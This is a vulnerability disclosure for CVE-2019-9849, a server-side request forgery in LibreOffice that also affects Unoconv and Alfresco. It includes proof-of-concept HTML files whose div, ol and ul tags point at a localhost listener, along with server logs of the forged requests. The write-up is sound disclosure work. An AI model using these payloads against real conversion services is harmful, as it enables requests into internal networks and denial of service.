


# LibreOffice Disclosures

## Environment:

- LibreOffice 6.0.7.3



## Disclaimer:

A similar vulnerability has been reported by “Philip Meadows” to Alfresco. Issue can be found here: <https://issues.alfresco.com/jira/browse/MNT-19770>

Also only “Alfresco Community v5.2” and “Unoconv” software have been tested for the bellow mentioned vulnerability. Other software may be affected with their own particular behavior.

## Findings:

### 1. CVE-2019-9849: Remote bullet graphics retrieved in “stealth mode”

#### Description:

LibreOffice is vulnerable to Server-Side Request Forgery (SSRF) when parsing HTML documents containing specific tag-attribute combinations.

**Note:** These HTML elements can be used to bypass LibreOffice’s “stealth mode”.

The behavior varies depending on the tags used and the format the document is “Saved As” and/or “Exported”.

This vulnerability also propagates to softwares that use LibreOffice to process files.

Examples:

- Alfresco CMS
- Unoconv File Converter
- Others.

The SSRF requests are made using the “LibreOffice” User Agent.




Figure 1. Example of SSRF where the "User-Agent: LibreOffice" can be observed

### Proof of Concept:

The following HTML tag-attribute combinations have been found to result in SSRF behavior in LibreOffice:

HTML Tag	HTML Attribute	Triggers When Opened	Triggers On Save/Export	Affects Other Software
div	href	Yes (with user interaction)	No	Yes (Unoconv)
img	src	Yes	Yes	Yes (Unoconv, Alfresco)
ol	src	No	Yes (for "Open Document" formats)	Yes (Unoconv, Alfresco)
ul	src	No	Yes (for "Open Document" formats)	Yes (Unoconv, Alfresco)

#### a. Div – Href

File "div.html":

```
<div href="http://localhost:8000/?ssrf=div_href"/>
```

The div-href combination is identified by LibreOffice as an external link and requires user interaction and confirmation to perform any malicious behavior:




Figure 2. External Data is Detected and User Confirmation is Required




Figure 3. SSRF Triggered After Confirmation

**Note 1:** Requiring user interaction is considered a safe behavior, therefore this tag is presented as a contrast for the other tags which do not have this “safe” behavior.

**Note 2:** This tag-attribute combination can still be abused in other 3<sup>rd</sup> party software (e.g. Unoconv).

#### b. Img – Src

File “img.html”:

```

```

The SSRF triggers when the file is opened and does not require user interaction.

Because the LibreOffice software continuously asks for the remote resource, this could result in side-effects such as:

- Denial of Service (DoS) attack on the target server
- Blocking/Blacklisting the computer running LibreOffice that is making the requests




Figure 4. GET and HEAD Request are Performed Indefinitely when the “img.html” File is Opened

**Note:** The attacker could also conceal the payload into a “OTH” file in order to launch Client Side Request Forgery (CSRF) attacks when targeting the “human” factor.

The SSRF behavior is also triggered when “Saving” and/or “Exporting” the HTML file when using the following formats:

- Save As – OTH (Makes 1 GET Request / per tag)
- Export – ODT (Makes 2 Requests OPTIONS + GET / per tag)
- Export – SXW (Makes 1 GET Request / per tag)
- Export – MediaWiki (Makes 1 GET Request / per tag)




Figure 5. Saving the "img.html" File as OTH




Figure 6. SSRF Request Triggered by Successful Save Action

### c. Ol – Src and Ul – Src

File “ol-ul.html”:

```
<ol src="http://localhost:8000/?ssrf=ol_src">
<ul src="http://localhost:8000/?ssrf=ul_src">
```

**Note:** The “ol” and “ul” tags have been put together because they have identical behavior.

The SSRF behavior is only triggered when “Saving” and/or “Exporting” the HTML file when using the following formats:

- Save As – OTH (Makes 2 Requests OPTIONS + GET / per tag)
- Export – ODT (Makes 2 Requests OPTIONS + GET / per tag)
- Export – SXW (Makes 1 GET Request / per tag)




Figure 7. Saving the “ol-ul.html” File as OTH





Figure 8. SSRF Request Triggered by Successful Save Action

## Unoconv Example:

Unoconv displays different SSRF behaviors and takes into account different tag combinations depending on the output format used.

For this Proof Of Concept we will only consider and analyze the “ODT” and “PDF” formats, though other particularities may arise when using other formats.


HTML Tag	HTML Attribute	PDF Format	ODT Format
div	href	Yes	Yes
img	src	Yes	Yes
ol	src	No	Yes
ul	src	No	Yes



```
guest@Ubuntu18: ~/Desktop
File Edit View Search Terminal Help
guest@Ubuntu18:~/Desktop$ unoconv -f pdf index.html
guest@Ubuntu18:~/Desktop$

guest@Ubuntu18:~$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [25/May/2019 22:20:40] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [25/May/2019 22:20:40] "OPTIONS /?ssrf=div_href HTTP/1.1" 501 -
127.0.0.1 - - [25/May/2019 22:20:40] "HEAD /?ssrf=div_href HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:20:40] "GET /?ssrf=div_href HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:20:41] "HEAD /?ssrf=div_href HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:20:41] "GET /?ssrf=div_href HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:20:41] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [25/May/2019 22:20:41] "OPTIONS /?ssrf=img_src HTTP/1.1" 501 -
127.0.0.1 - - [25/May/2019 22:20:41] "HEAD /?ssrf=img_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:20:41] "GET /?ssrf=img_src HTTP/1.1" 200 -
```

Figure 9. SSRF Triggered when Converting Files to "PDF" Format



```
guest@Ubuntu18: ~/Desktop
File Edit View Search Terminal Help
guest@Ubuntu18:~/Desktop$ unoconv -f odt index.html
guest@Ubuntu18:~/Desktop$

guest@Ubuntu18:~$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [25/May/2019 22:21:00] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [25/May/2019 22:21:00] "OPTIONS /?ssrf=div_href HTTP/1.1" 501 -
127.0.0.1 - - [25/May/2019 22:21:00] "HEAD /?ssrf=div_href HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "GET /?ssrf=div_href HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "HEAD /?ssrf=div_href HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "GET /?ssrf=div_href HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [25/May/2019 22:21:00] "OPTIONS /?ssrf=img_src HTTP/1.1" 501 -
127.0.0.1 - - [25/May/2019 22:21:00] "HEAD /?ssrf=img_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "GET /?ssrf=img_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "HEAD /?ssrf=img_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "GET /?ssrf=img_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [25/May/2019 22:21:00] "OPTIONS /?ssrf=ol_src HTTP/1.1" 501 -
127.0.0.1 - - [25/May/2019 22:21:00] "GET /?ssrf=ol_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "HEAD /?ssrf=ol_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "GET /?ssrf=ol_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [25/May/2019 22:21:00] "OPTIONS /?ssrf=ul_src HTTP/1.1" 501 -
127.0.0.1 - - [25/May/2019 22:21:00] "GET /?ssrf=ul_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "HEAD /?ssrf=ul_src HTTP/1.1" 200 -
127.0.0.1 - - [25/May/2019 22:21:00] "GET /?ssrf=ul_src HTTP/1.1" 200 -
```

Figure 10. SSRF Triggered when Converting Files to "ODT" Format

## Alfresco Example:

Alfresco can be used to launch SSRF attacks by uploading HTML files to it. These files are automatically parsed by LibreOffice and displayed as PDF. The particularity with Alfresco SSRF is that it also makes “PROPFIND” requests.

HTML Tag	HTML Attribute	Triggers SSRF
<b>div</b>	<b>href</b>	No
<b>img</b>	<b>src</b>	Yes
<b>ol</b>	<b>src</b>	Yes
<b>ul</b>	<b>src</b>	Yes




Figure 11. Uploading Malicious file to Alfresco




Figure 12. SSRF Triggered by when Processing and/or Opening the Uploaded File

## File used for Unoconv and Alfresco (“index.html”):

```
<div href="http://localhost:8000/?ssrf=div_href"/>

<ol src="http://localhost:8000/?ssrf=ol_src">
<ul src="http://localhost:8000/?ssrf=ul_src">
```